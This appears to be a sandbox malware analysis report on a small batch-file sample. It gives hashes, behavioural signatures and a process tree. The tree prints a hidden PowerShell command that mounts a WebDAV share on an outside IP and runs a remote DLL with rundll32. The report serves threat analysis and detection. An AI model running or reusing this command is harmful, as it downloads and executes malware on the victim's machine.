Analysis
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max time kernel
106s -
max time network
100s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
13/07/2024, 20:56
Static task
static1
Behavioral task
behavioral1
Sample
31755299832428724854.bat
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
31755299832428724854.bat
Resource
win10v2004-20240709-en
General
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Target
31755299832428724854.bat
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Size
2KB
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MD5
a3fc0247f3a3035b258a0b448031b85f
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SHA1
fcc0619c08ae478e0b6e51a8dda32a24a33175a9
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SHA256
480bd36d302e1a6544d68451cb1ee3ad7626ce2121932025b0ba43b7149c928a
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SHA512
987ea3bc969463a08eb72e522477d85a744cfcff65a0dc87c65e4b6501e7785e8801482696347a57edabad8d6be967e03cdf6be839dc3767dd8015622ae820ed
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 60 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 60 powershell.exe 60 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 60 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 828 wordpad.exe 828 wordpad.exe 828 wordpad.exe 828 wordpad.exe 828 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3720 wrote to memory of 828 3720 cmd.exe 84 PID 3720 wrote to memory of 828 3720 cmd.exe 84 PID 3720 wrote to memory of 60 3720 cmd.exe 86 PID 3720 wrote to memory of 60 3720 cmd.exe 86 PID 60 wrote to memory of 3980 60 powershell.exe 88 PID 60 wrote to memory of 3980 60 powershell.exe 88 PID 60 wrote to memory of 876 60 powershell.exe 89 PID 60 wrote to memory of 876 60 powershell.exe 89
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\31755299832428724854.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3720 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:828
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3539.dll,entry2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:60 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\3⤵PID:3980
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\3539.dll,entry3⤵PID:876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:3160
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82